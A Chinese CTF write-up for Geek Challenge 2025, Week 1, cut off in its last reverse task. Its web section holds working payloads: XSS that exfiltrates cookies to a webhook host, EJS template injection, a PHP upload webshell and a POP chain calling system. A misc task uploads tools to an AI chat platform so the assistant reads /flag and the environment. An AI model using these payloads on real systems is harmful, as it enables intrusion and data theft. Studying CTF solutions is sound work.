Week1

Web

阿基里斯追乌龟

抓包修改一下base64编码后的payload即可

Vibe SEO

sitemap.xml泄露aa__^^.php

根据报错信息尝试传入filename参数
长度限制是小于11
?filename=aa__^^.php读源码

1
2
3
4
5
6
7
8
<?php
$flag = fopen('/my_secret.txt', 'r');
if (strlen($_GET['filename']) < 11) {
readfile($_GET['filename']);
} else {
echo "Filename too long";
}
?>

尝试了/dev/3/fd或者php://fd/3或者var://flag都不行

这个可以

1
2
?filename=/dev/fd/12 //源码
?filename=/dev/fd/13 //flag

Xross The Finish Line

fuzz出来可用的xss payload

1
<svg/onload=confirm(1)>

然后进一步测试发现过滤了引号

用`代替引号

1
<svg/onload=fetch(`https://webhook.site/a3e2cdb1-3c78-43d3-9323-24ee284dcf27?c=`+document.cookie)>

Expression

题目描述提到jwt密钥直接照搬的原项目,查看前端源码发现是InfiniteSky,但是查找了一下没有jwt密钥的线索

随便注册个号1@qq.com,登录后显示欢迎,user_e37babaf316d !
看下cookie里面有个token

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6IjFAcXEuY29tIiwidXNlcm5hbWUiOiJ1c2VyX2UzN2JhYmFmMzE2ZCIsImlhdCI6MTc2MTgzMzUwNiwiZXhwIjoxNzYyNDM4MzA2fQ.i_tPV5kKmnA8fZDYzFpWf4GoBC2DFKekAnmuZqLDYSs

jwt解一下

1
2
3
4
5
6
{
"email": "1@qq.com",
"username": "user_e37babaf316d",
"iat": 1761833506,
"exp": 1762438306
}

可以获取到的信息是username被展示在前端页面,这是个nodejs的站,有可能存在ejs模板注入,但是还是要知道jwt的密钥才行

找了个gui工具爆,用自己的字典试了几个发现密钥是secret

那后面直接把username换成<%= global.process.mainModule.require('child_process').execSync('env')%>即可

one_last_image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST / HTTP/1.1
Host: 019a32d9-6259-7880-b072-e9c9ab7d2254.geek.ctfplus.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://019a32d9-6259-7880-b072-e9c9ab7d2254.geek.ctfplus.cn/
Content-Type: multipart/form-data; boundary=----geckoformboundaryeb486a0d2958e5e142a05c31fa4a6354
Content-Length: 447
Origin: http://019a32d9-6259-7880-b072-e9c9ab7d2254.geek.ctfplus.cn
Connection: close
Priority: u=0

------geckoformboundaryeb486a0d2958e5e142a05c31fa4a6354
Content-Disposition: form-data; name="image"; filename="1.php"
Content-Type: image/jpeg

<?=phpinfo();
------geckoformboundaryeb486a0d2958e5e142a05c31fa4a6354
Content-Disposition: form-data; name="colorsize"

20
------geckoformboundaryeb486a0d2958e5e142a05c31fa4a6354
Content-Disposition: form-data; name="mode"

light
------geckoformboundaryeb486a0d2958e5e142a05c31fa4a6354--

响应包里的报错泄露了路径/var/www/html/uploads/20fe824b-c6db-47d2-b5e1-be9750f410b6.php
访问后找到flag即可

popself

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
 <?php
show_source(__FILE__);

error_reporting(0);
class All_in_one
{
public $KiraKiraAyu;
public $_4ak5ra;
public $K4per;
public $Samsāra;
public $komiko;
public $Fox;
public $Eureka;
public $QYQS;
public $sleep3r;
public $ivory;
public $L;

public function __set($name, $value){
echo "他还是没有忘记那个".$value."<br>";
echo "收集夏日的碎片吧<br>";

$fox = $this->Fox;

if ( !($fox instanceof All_in_one) && $fox()==="summer"){
echo "QYQS enjoy summer<br>";
echo "开启循环吧<br>";
$komiko = $this->komiko;
$komiko->Eureka($this->L, $this->sleep3r);
}
}

public function __invoke(){
echo "恭喜成功signin!<br>";
echo "welcome to Geek_Challenge2025!<br>";
$f = $this->Samsāra;
$arg = $this->ivory;
$f($arg);
}
public function __destruct(){

echo "你能让K4per和KiraKiraAyu组成一队吗<br>";

if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
die("boys和而不同<br>");
}

if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
echo "BOY♂ sign GEEK<br>";
echo "开启循环吧<br>";
$this->QYQS->partner = "summer";
}
else {
echo "BOY♂ can`t sign GEEK<br>";
echo md5(md5($this->KiraKiraAyu))."<br>";
echo md5($this->K4per)."<br>";
}
}
else{
die("boys堂堂正正");
}
}

public function __tostring(){
echo "再走一步...<br>";
$a = $this->_4ak5ra;
$a();
}

public function __call($method, $args){
if (strlen($args[0])<4 && ($args[0]+1)>10000){
echo "再走一步<br>";
echo $args[1];
}
else{
echo "你要努力进窄门<br>";
}
}
}

class summer {
public static function find_myself(){
return "summer";
}
}

if (isset($payload)) {
unserialize($payload);
} else {
echo "没有大家的压缩包的话,瓦达西!<br>";
}

?>

链子还是比较明显

1
__destruct -> __set -> __call -> __tostring -> __invoke

首先在__destruct中要过一个md5的判断

1
md5(md5($this->KiraKiraAyu))==md5($this->K4per)

一开始以为找一个md5后是0e开头的和一个两次md5后是0e开头的就行,结果一直过不了,看了下PHP版本是7.3.4,再问AI得知0e之后必须要全为数字才可以,那就写一个python脚本来爆破寻找两次md5后符合条件的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python3
import argparse
import hashlib
import os
import random
import re
import string
import sys
import time
from concurrent.futures import ProcessPoolExecutor, as_completed

MAGIC_RE = re.compile(r"^0e\d{30}$")

def md5_hex(data: bytes) -> str:
return hashlib.md5(data).hexdigest()

def is_magic(s: str) -> bool:
# PHP 7.3 “数值型字符串”判定需要完全像 0e123... 这种
return bool(MAGIC_RE.match(s))

def test_candidate(s: str):
# 我们要 md5(md5(s)) 命中 0e\d{30}
h1 = md5_hex(s.encode())
h2 = md5_hex(h1.encode())
return is_magic(h2), h1, h2

def worker_numeric(start: int, step: int, report_every: int = 100000):
"""
纯数字递增搜索:进程 i 负责从 start+i 开始,每次加 step
"""
i = start
tried = 0
t0 = time.time()
while True:
ok, h1, h2 = test_candidate(str(i))
tried += 1
if ok:
return True, str(i), h1, h2, tried, time.time() - t0
if tried % report_every == 0:
# 便于观察进度(可按需注释掉)
pass
i += step

def rand_ascii(n: int) -> str:
alphabet = string.ascii_letters + string.digits
return "".join(random.choice(alphabet) for _ in range(n))

def worker_random(seed: int, report_every: int = 200000):
"""
随机搜索:固定随机种子,生成 8~24 长度的字母数字串
"""
random.seed(seed ^ int.from_bytes(os.urandom(8), "little"))
tried = 0
t0 = time.time()
while True:
s = rand_ascii(random.randint(8, 24))
ok, h1, h2 = test_candidate(s)
tried += 1
if ok:
return True, s, h1, h2, tried, time.time() - t0
if tried % report_every == 0:
# 可按需打印进度
pass

def main():
parser = argparse.ArgumentParser(description="Find s.t. md5(md5(s)) matches ^0e\\d{30}$")
parser.add_argument("--workers", type=int, default=os.cpu_count() or 4, help="并行进程数")
parser.add_argument("--start", type=int, default=0, help="数字模式的起始值")
parser.add_argument("--random", action="store_true", help="使用随机字符串搜索(默认:数字递增)")
args = parser.parse_args()

print(f"[+] workers={args.workers} mode={'random' if args.random else 'numeric'}", flush=True)

with ProcessPoolExecutor(max_workers=args.workers) as ex:
futures = []
if args.random:
for w in range(args.workers):
futures.append(ex.submit(worker_random, seed=(args.start + w)))
else:
# 数字递增:进程 w 负责从 start+w 开始,每次 +workers
for w in range(args.workers):
futures.append(ex.submit(worker_numeric, args.start + w, args.workers))

for fut in as_completed(futures):
ok, s, h1, h2, tried, elapsed = fut.result()
if ok:
print("\n[!] FOUND CANDIDATE!")
print(f" s = {s!r}")
print(f" md5(s) = {h1}")
print(f" md5(md5) = {h2} (matches ^0e\\d{{30}}$)")
print(f" tried = {tried} in {elapsed:.2f}s (this worker)")
# 取消其他进程
for f in futures:
f.cancel()
return 0

return 1

if __name__ == "__main__":
sys.exit(main())

# python find_double_md5_magic.py --workers 8 --start 0
1
2
3
4
5
[!] FOUND CANDIDATE!
s = '179122048'
md5(s) = 30c14e38d72a2203bc0bdd2ced6484e6
md5(md5) = 0e983430692806892134340492059275 (matches ^0e\d{30}$)
tried = 22390257 in 197.42s (this worker)

于是第一层可以这样子解

1
2
3
$payload = new All_in_one();
$payload -> KiraKiraAyu = "179122048"; //两次md5后为0e983430692806892134340492059275
$payload -> K4per = "s1885207154a"; //s1836677006a也可以

在__set里要满足

1
2
$fox = $this->Fox;
if ( !($fox instanceof All_in_one) && $fox()==="summer")

可以将Fox设为可调用的字符串”summer::find_myself”,$fox()调用返回”summer”

之后走到__call后需要满足的条件

1
strlen($args[0])<4 && ($args[0]+1)>10000

很简单,9e9即可

后面很常规的走完链子就行

完整exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
<?php
show_source(__FILE__);

error_reporting(0);
class All_in_one
{
public $KiraKiraAyu;
public $_4ak5ra;
public $K4per;
public $Samsāra;
public $komiko;
public $Fox;
public $Eureka;
public $QYQS;
public $sleep3r;
public $ivory;
public $L;

public function __set($name, $value){
echo "他还是没有忘记那个".$value."<br>";
echo "收集夏日的碎片吧<br>";

$fox = $this->Fox;
echo $fox();
if ( !($fox instanceof All_in_one) && $fox()==="summer"){
echo "QYQS enjoy summer<br>";
echo "开启循环吧<br>";
$komiko = $this->komiko;
$komiko->Eureka($this->L, $this->sleep3r);
}
}

public function __invoke(){
echo "恭喜成功signin!<br>";
echo "welcome to Geek_Challenge2025!<br>";
$f = $this->Samsāra;
$arg = $this->ivory;
$f($arg);
}
public function __destruct(){

echo "你能让K4per和KiraKiraAyu组成一队吗<br>";

if (is_string($this->KiraKiraAyu) && is_string($this->K4per)) {
if (md5(md5($this->KiraKiraAyu))===md5($this->K4per)){
die("boys和而不同<br>");
}
var_dump(md5(md5($this->KiraKiraAyu)) == md5($this->K4per));
if(md5(md5($this->KiraKiraAyu))==md5($this->K4per)){
echo "BOY♂ sign GEEK<br>";
echo "开启循环吧<br>";
$this->QYQS->partner = "summer";
}
else {
echo "BOY♂ can`t sign GEEK<br>";
echo md5(md5($this->KiraKiraAyu))."<br>";
echo md5($this->K4per)."<br>";
}
}
else{
die("boys堂堂正正");
}
}

public function __tostring(){
echo "再走一步...<br>";
$a = $this->_4ak5ra;
$a();
}

public function __call($method, $args){
if (strlen($args[0])<4 && ($args[0]+1)>10000){
echo "再走一步<br>";
echo $args[1];
}
else{
echo "你要努力进窄门<br>";
}
}
}

class summer {
public static function find_myself(){
return "summer";
}
}
$payload = new All_in_one();
$payload -> KiraKiraAyu = "179122048";
$payload -> K4per = "s1885207154a"; //s1836677006a
$payload -> QYQS = new All_in_one();
$payload -> QYQS -> Fox = "summer::find_myself";
$payload -> QYQS -> komiko = new All_in_one();
$payload -> QYQS -> L = "9e9";
$payload -> QYQS -> sleep3r = new All_in_one();
$payload -> QYQS -> sleep3r -> _4ak5ra = new All_in_one();
$payload -> QYQS -> sleep3r -> _4ak5ra -> Samsāra = "system";
$payload -> QYQS -> sleep3r -> _4ak5ra -> ivory = "env";

echo serialize($payload);
?>

Misc

HTTP

追踪tcp流,解base64
SYC{R_U_A_F0R3NS1C5_MASTER?}

🗃️🗃️

exif信息泄露
SYC{北京市_天坛公园}

evil_mcp

还挺新的题型,做法倒是很简单
可以自己实现一个工具(实际就是一个python脚本)并上传,然后在与AI对话时可以直接调用

给的模板如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from typing import Any

# 平台会自动注入 ToolResult / ToolExecutionContext / tool
@tool(
name="echo_agent",
description="示例:返回用户输入,并展示会话与调用信息",
input_schema={
"type": "object",
"properties": {
"text": {
"type": "string",
"description": "需要原样返回的文本"
}
},
"required": ["text"]
}
)
async def echo_agent(arguments: dict[str, Any], context: ToolExecutionContext) -> ToolResult:
content = (
f"Echo: {arguments['text']}
"
f"session_id={context.session_id}, invocation_id={context.invocation_id}"
)
return ToolResult(content=content)

# 将工具实例暴露给平台
# 如果使用 @tool 装饰器,最终需要赋值给名为 tool 的变量
# tool = echo_agent # 如果需要显式指定,可以保留这一行

ls_root工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from typing import Any
import os

# 平台会自动注入 ToolResult / ToolExecutionContext / tool 装饰器与类型
@tool(
name="ls_root",
description="列出根目录内容(等价于执行 ls /),不接受参数。",
input_schema={
"type": "object",
"properties": {},
"additionalProperties": False
}
)
async def ls_root(arguments: dict[str, Any], context: ToolExecutionContext) -> ToolResult:
try:
entries = sorted(os.listdir("/"))
# 类似 ls 的简单格式化:每行多个项目,避免太长
cols = 4
lines = []
for i in range(0, len(entries), cols):
row = entries[i:i+cols]
lines.append(" ".join(f"{name}" for name in row))
content = "[+] ls /\n" + "\n".join(lines)
return ToolResult(content=content)
except Exception as e:
return ToolResult(content=f"[-] 列目录失败:{e}")

# 将工具实例暴露给平台
tool = ls_root

print_env工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from typing import Any
import os

# 平台会自动注入 ToolResult / ToolExecutionContext / tool 装饰器与类型
@tool(
name="print_env",
description="打印环境变量(等价于 `env`)。不接受参数。",
input_schema={
"type": "object",
"properties": {},
"additionalProperties": False
}
)
async def print_env(arguments: dict[str, Any], context: ToolExecutionContext) -> ToolResult:
try:
lines = [f"{k}={v}" for k, v in os.environ.items()]
lines.sort()
content = "[+] env\n" + "\n".join(lines)
return ToolResult(content=content)
except Exception as e:
return ToolResult(content=f"[-] 获取环境变量失败:{e}")

# 将工具实例暴露给平台
tool = print_env

cat_flag工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from typing import Any

# 平台会自动注入 ToolResult / ToolExecutionContext / tool 装饰器与类型
@tool(
name="cat_flag",
description="读取 /flag(等价于 `cat /flag`)。不接受参数。",
input_schema={
"type": "object",
"properties": {},
"additionalProperties": False
}
)
async def cat_flag(arguments: dict[str, Any], context: ToolExecutionContext) -> ToolResult:
path = "/flag"
try:
with open(path, "rb") as f:
data = f.read(200_000) # 防止极端情况下输出过大
try:
text = data.decode("utf-8", errors="replace")
except Exception:
text = repr(data[:1024])
return ToolResult(content=f"[+] READ {path}\n{text}")
except Exception as e:
return ToolResult(content=f"[-] 无法读取 {path}{e}")

# 将工具实例暴露给平台
tool = cat_flag

Bite off picture

压缩包末尾是个倒序base64,解码获得密码werwerr
之后修复png宽高即可

1Z_Sign

etherscan.io搜索0x1d3040872d9c3d15d47323996926c2aa5c7b636fc7209f701301878dcf438598

可以看到交易回执的logs

定位 Uniswap V4: Pool Manager 合约地址 0x000000000004444c5dc75cb358380d2e3de08a90 的 Swap 事件。
alt text

将 fee 由 ppm(1e-6) 转换为百分比,因为 1% = 10,000 ppm。所以 fee = 9900 → 9900 / 10000 = 0.99%。

SYC{0.99%}

Blockchain SignIn

去sepolia.etherscan.io搜索0x208e0465ea757073d0ec6af9094e5404ef81a213970eb580fa6a28a3af4669d6
在More details的Input Data里找到hex的flag

Reverse

encode

在 IDA Pro 中观察到的关键函数:

  • main: 读取输入后,对经自定义 scanf 处理过的缓冲逐字节异或 0x5A,然后进行 Base64 编码并与常量进行比较。
  • scanf: 并非标准库实现。它先逐字节读入、去空白,随后调用 enc(buf, len, out) 将输入加密,返回的加密长度写入全局变量 encrypted_len,并把加密结果写回原缓冲。
  • enc: 对数据进行 8 字节对齐的 PKCS#7 填充,然后按 8 字节块调用 enc_block 加密,返回加密后长度(8 的倍数)。
  • enc_block: XTEA(32 轮)加密,密钥为 16 字节常量。
  • 常量/字符串:
    • XTEA 密钥:"geek2025reverse!"(地址 0x100003ea0
    • Base64 表:地址 0x100003eb0
    • 比对用的 64 字节 Base64 串:vBzX30Koxl3HpDaYaFJKhyB/1ckuVCnc4wZhrwUWeNuZkAxr+Qn5UaYbpvymmCrk(地址 0x100003ef1

入口 main 的核心逻辑:

  1. 自定义 scanf(buf, cap) 将明文经 enc 加密,结果放回 buf,并设置 encrypted_len
  2. for i in [0, encrypted_len): v5[i] = buf[i] ^ 0x5A
  3. base64_encode(v5) 的结果需与地址 0x100003ef1 的 64 字节常量逐字节相等;若相等输出 Congratulations。

据此可得整体数据流:

1
输入明文 --enc(XTEA/ECB + PKCS#7)--> 密文C --逐字节 ^ 0x5A--> C' --Base64--> 常量目标串

因此逆向步骤为:

  1. Base64 解码目标串得到 C'
  2. C = C' ^ 0x5A
  3. 用 XTEA-ECB(32 轮),密钥 geek2025reverse!C 逐块(8 字节)解密;
  4. 去掉 PKCS#7 填充,得到原始明文(flag)。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import base64

TARGET_B64 = "vBzX30Koxl3HpDaYaFJKhyB/1ckuVCnc4wZhrwUWeNuZkAxr+Qn5UaYbpvymmCrk"
KEY = b"geek2025reverse!" # 16-byte XTEA key
XOR_BYTE = 0x5A


def xtea_decrypt_block(block: bytes, key: bytes) -> bytes:
"""Decrypt a single 8-byte block with XTEA (32 rounds), big-endian words."""
assert len(block) == 8 and len(key) == 16

def be32(b: bytes) -> int:
return int.from_bytes(b, "big")

def to_be32(x: int) -> bytes:
return x.to_bytes(4, "big")

v0 = be32(block[:4])
v1 = be32(block[4:])
k = [be32(key[i * 4 : (i + 1) * 4]) for i in range(4)]
delta = 0x9E3779B9
total = (delta * 32) & 0xFFFFFFFF
for _ in range(32):
v1 = (v1 - ((((v0 >> 5) ^ ((v0 << 4) & 0xFFFFFFFF)) + v0) ^ ((total + k[(total >> 11) & 3]) & 0xFFFFFFFF))) & 0xFFFFFFFF
total = (total - delta) & 0xFFFFFFFF
v0 = (v0 - ((((v1 >> 5) ^ ((v1 << 4) & 0xFFFFFFFF)) + v1) ^ ((total + k[total & 3]) & 0xFFFFFFFF))) & 0xFFFFFFFF
return to_be32(v0) + to_be32(v1)


def recover_flag() -> bytes:
# 1) Base64 decode
decoded = base64.b64decode(TARGET_B64)
# 2) XOR 0x5A
cipher = bytes(b ^ XOR_BYTE for b in decoded)
# 3) XTEA-ECB 解密
assert len(cipher) % 8 == 0
pt = bytearray()
for i in range(0, len(cipher), 8):
pt.extend(xtea_decrypt_block(cipher[i : i + 8], KEY))
# 4) 去 PKCS#7 填充
pad = pt[-1]
if 1 <= pad <= 8 and pt.endswith(bytes([pad]) * pad):
pt = pt[:-pad]
return bytes(pt)


if __name__ == "__main__":
flag = recover_flag()
print(flag.decode("utf-8"))

ez_pyyy

给了pyc,直接反编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
cipher = [48, 55, 57, 50, 53, 55, 53, 50, 52, 50, 48, 55, 101, 52, 53, 50, 52, 50, 52, 50, 48, 55, 53, 55, 55, 55, 50, 54, 53, 55, 54, 55, 55, 55, 53, 54, 98, 55, 97, 54, 50, 53, 56, 52, 50, 52, 99, 54, 50, 50, 52, 50, 50, 54]

def str_to_hex_bytes(s: str) -> bytes:
return s.encode('utf-8')

def enc(data: bytes, key: int) -> bytes:
return bytes([b ^ key for b in data])

def en3(b: int) -> int:
return b << 4 & 240 | b >> 4 & 15

def en33(data: bytes, n: int) -> bytes:
"""整体 bitstream 循环左移 n 位"""
bit_len = len(data) * 8
n = n % bit_len
val = int.from_bytes(data, 'big')
val = (val << n | val >> bit_len - n) & (1 << bit_len) - 1
return val.to_bytes(len(data), 'big')
if __name__ == '__main__':
flag = ''
data = str_to_hex_bytes(flag)
data = enc(data, 17)
data = bytes([en3(b) for b in data])
data = data[::-1]
data = en33(data, 32)
if data.hex() == cipher:
print('Correct! ')
else:
print('Wrong!!!!!!!!')

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
cipher = [48, 55, 57, 50, 53, 55, 53, 50, 52, 50, 48, 55, 101, 52, 53, 50, 52, 50, 52, 50, 48, 55, 53, 55, 55, 55, 50, 54, 53, 55, 54, 55, 55, 55, 53, 54, 98, 55, 97, 54, 50, 53, 56, 52, 50, 52, 99, 54, 50, 50, 52, 50, 50, 54]

def rot_right_bitstream(data: bytes, n: int) -> bytes:
bit_len = len(data) * 8
n %= bit_len
val = int.from_bytes(data, "big")
val = ((val >> n) | ((val << (bit_len - n)) & ((1 << bit_len) - 1))) & ((1 << bit_len) - 1)
return val.to_bytes(len(data), "big")

def nibble_swap(b: int) -> int:
return ((b << 4) & 0xF0) | ((b >> 4) & 0x0F)

# 1) 题中比较的是 data.hex() == cipher,因此 cipher 实际是十六进制字符串的 ASCII 码
hex_str = "".join(chr(x) for x in cipher)
enc_end = bytes.fromhex(hex_str)

# 2) 逆 en33 左移 32 位 => 全体比特右移 32 位
stage = rot_right_bitstream(enc_end, 32)

# 3) 逆 bytes[::-1]
stage = stage[::-1]

# 4) 逆 en3(高低 4bit 互换,自反操作)
stage = bytes(nibble_swap(b) for b in stage)

# 5) 逆 XOR 17
orig = bytes(b ^ 17 for b in stage)

flag = orig.decode("utf-8")
print(flag)

only_flower

  • 关键函数:
    • _main 0x401602(读入、长度/格式检查、分支打印)
    • _checkcheck 0x401543(前后缀与大括号格式检查)
    • _encrypt 0x40149A(核心加密/混淆循环)
    • rol8 0x401460(8-bit左旋)
  • 明文Key:位于 _KEY(地址 0x405064)= GEEK2025
  • 参考密文数组:起始于 0x405070,长度 DWORD = 28(0x1C)

本题的难点是“花指令”(junk code)干扰IDA反汇编/反编译。主要表现为:

  • 在关键代码路径处插入 jmp short -1(字节 EB FF)死循环,导致CFG被截断;
  • 零散无意义字节流(如 c0 48…)使线性反汇编错位,反编译器产生 JUMPOUT() 等。

通过在IDA中将这些花指令 NOP 掉(或转为数据并重建代码)后,控制流即可恢复,逻辑清晰。


花指令定位与修复

以下均在 IDA Pro 中完成:

  1. 定位症状
  • 对关键函数(_main_checkcheck_encrypt)按 F5 观察伪代码,若出现 JUMPOUT(...) 或只显示极少数语句,即为受花指令影响。
  • 按空格查看反汇编,若看到 EB FFjmp short -1)或明显“不可达/自跳转”的地方,即为花指令。
  1. 修复方法(两种常用)
  • 直接补丁(推荐):
    • 菜单 Edit -> Patch program -> Assemble,选中 jmp short -1 的地址,
    • 将指令改为 nop(需要两字节,可写入 nop; nop),应用补丁。
  • 转数据/重建代码:
    • 对不应当执行的垃圾字节(影响解码的“乱序片段”)按 D 先转为数据,
    • 再在真实入口处按 C 重建指令,必要时重建函数边界(Edit function -> Set range)。
  1. 本题实际修复点(将 EB FF 改为 90 90
  • _main
    • 0x40161F、0x40164E、0x40169A、0x4016BF、0x4016EE、0x401740、0x401766、0x401790、0x4017AE
  • _encrypt
    • 0x4014C7、0x4014F0、0x401510
  • _checkcheck
    • 0x401556、0x401575、0x4015B1

修复后,反汇编/反编译会逐步恢复。可适度多次按 F5 让Hex-Rays重新分析。


逻辑复原

  1. 格式检查(_checkcheck
    反混淆后可读出的关键比较(汇编解析):
  • s[0] == 'S'
  • s[1] == 'Y'
  • s[2] == 'C'
  • s[3] == '{'
  • s[len-1] == '}'
  • 同时 strlen(s) > 3(并且在 _main 还有长度==28的精确检查)

因此 flag 形如:SYC{...},总长度 28 字符。

  1. 加密例程(_encrypt
    逆向出核心循环逻辑(变量名自定):
  • Key:KEY = "GEEK2025"klen = strlen(KEY)
  • 对每个位置 i(0..len-1):
    • k = KEY[i % klen]
    • x = in[i] ^ k
    • r = (k & 7)
    • y = rol8(x, r)
    • out[i] = (y + i) & 0xFF

其中 rol8 在 0x401460,伪码:rol8(v, n) = ((v << (n&7)) | (v >> (8-(n&7)))) & 0xFF

  1. 参考密文与长度
  • 数据区 0x405070 起存放一段 28 字节的参考密文,之后跟随一个 DWORD 0x0000001C(长度 28)。
  • Key 存放在 _KEY = 0x405064,内容为 ASCII 串 GEEK2025

解密脚本(Python)

说明:按加密逆运算可还原明文。

  • 逆过程:y = (c - i) & 0xFFx = ror8(y, k & 7)p = x ^ k

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from itertools import cycle

def ror8(v, n):
n &= 7
v &= 0xFF
return ((v >> n) | ((v << (8 - n)) & 0xFF)) & 0xFF

KEY = b"GEEK2025"
# 数据区 0x405070 的 28 字节密文(含首字节 0x0a)
CIPH = bytes([
0x0a,0x84,0xc2,0x84,0x51,0x48,0x5f,0xf2,0x9e,0x8d,0xd0,0x84,0x75,0x67,
0x73,0x8f,0xca,0x57,0xd7,0xe6,0x14,0x6e,0x77,0xe2,0x29,0xfe,0xdf,0xcc,
])

plain = []
for i, (c,k) in enumerate(zip(CIPH, cycle(KEY))):
y = (c - i) & 0xFF
x = ror8(y, k & 7)
p = x ^ k
plain.append(p)

flag = bytes(plain).decode('latin1')
print(flag)

在 IDA 中手动对付花指令的小抄

  • 识别典型花:
    • jmp short -1EB FF)死循环;
    • 乱序一字节/两字节指令(如 c0 48 xx)塞在基本块中间让反汇编“错位”;
  • 快速修:
    • 直接 Assemble 成 nop; nop
    • 对明显“不可达”的垃圾片段,D 转数据、C 重建代码;
    • 必要时重设函数边界与落脚基本块,再按 F5 重跑反编译;
  • 辅助技巧:
    • 先看调用图(对比 thunk 调用与IAT),确认真实流程;
    • 用数据区交叉引用快速找 Key/密文等常量;
    • 不必一次性修全,先修“卡住反编译的第一处”,多次迭代;

ezRu3t

静态分析

  • 文件元信息:
    • 模块:ezRu3t.exe
    • 基址:0x140000000
    • 入口点:
      • mainCRTStartup @ 0x14001B730
      • std::sys::thread_local::guard::windows::tls_callback @ 0x14000EEA0
  • Rust 启动序列(在 mainCRTStartup 中):
    • 调用 _scrt_common_main_seh() -> std::rt::lang_start_internal(...)
    • main @ 0x140002F10 仅设置闭包指针为 sub_140002490,实质逻辑在 sub_140002490
关键函数
  • main @ 0x140002F10
    • 设置回调:v5 = sub_140002490 并进入 std::rt::lang_start_internal
  • sub_140002490(核心校验流程)
    • 多次 std::io::stdio::_print 打印提示/横幅。
    • 刷新 stdout 后:
      • 读取一行输入(stdin.read_line)到一个 String
      • trim_matches 去除收尾空白。
      • 调用 base64::engine::Engine::encode::inner(&unk_14001E828, input_trimmed) 进行 Base64 编码。
      • 紧接着将 Base64 字节按 4 字节打包转换为 5 个“数字”,每个数字除以 85 提取位权(常数 0x31C84B1=85^40x95EED=85^3 等),
        用字母表映射到字符:字母表地址在 a0123456789Abcd 符号处,经取值可知是标准 Ascii85 字母表 !..u
        因此这一步是 Base85(Ascii85)编码。
      • 最终得到的输出缓冲(记作 Buf2)是:Ascii85(Base64(trimmed_input))。
    • 程序随后构造期望目标串(记作 Buf1):
      • 通过 Map::fold/join_generic_copy 对一段嵌入数据做映射拼接:
        • 迭代参数位于 unk_14001E96Basc_14001E9A7:后者是若干行由 /空格组成的 ASCII 艺术矩阵(UTF-8:0xE2 0x96 0x88)。
        • unk_14001E96B 开头紧跟一段由 !..u 组成的 Ascii85 文本,随后是上述 ASCII 艺术的字节数据。该段文本即为程序内置的“期望值”。
      • 最终比较:若 Buf2Buf1 长度相等且 memcmp 相同,则判定正确并打印祝贺与原始输入;否则打印错误提示。
关键信息定位
  • Base85 字母表(Ascii85):
    • 符号:a0123456789Abcd
    • 读取到的字节为从 0x21!)到 0x75u)共 85 个字符,即标准 Ascii85 字母表。
  • 期望 Ascii85 文本(位于 unk_14001E96B 开头,紧接着即是 UTF-8 的 字符数据):
1
<AA;XAM?,_@;T[r@7E779h8;s>'`pt=>3c6ASuHFASOtP<Gkf_A4&gPAl1]S

该串即程序内置的目标串(Buf1)。

推导与还原

根据流程:

  • 程序比较的是:Ascii85(Base64(flag_trimmed)) == Buf1
  • 因此只需:Base64(flag_trimmed) = a85decode(Buf1),再做一次 Base64 解码即可得到明文 flag。

解题脚本

以下脚本完成上述解码(Python 3):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64

# 从二进制中提取到的 Ascii85 目标串(Buf1)
s = "<AA;XAM?,_@;T[r@7E779h8;s>'`pt=>3c6ASuHFASOtP<Gkf_A4&gPAl1]S"

# 先做 Ascii85 解码,得到的是 base64 字节串
b64_bytes = base64.a85decode(s, adobe=False)
print("base64:", b64_bytes)

# 再做 base64 解码,得到最终明文 flag 字节
flag_bytes = base64.b64decode(b64_bytes)
print("flag bytes:", flag_bytes)

# 作为 UTF-8 字符串展示
print("flag:", flag_bytes.decode("utf-8"))

QYQSの奇妙冒险

main 函数反编译得到核心校验流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
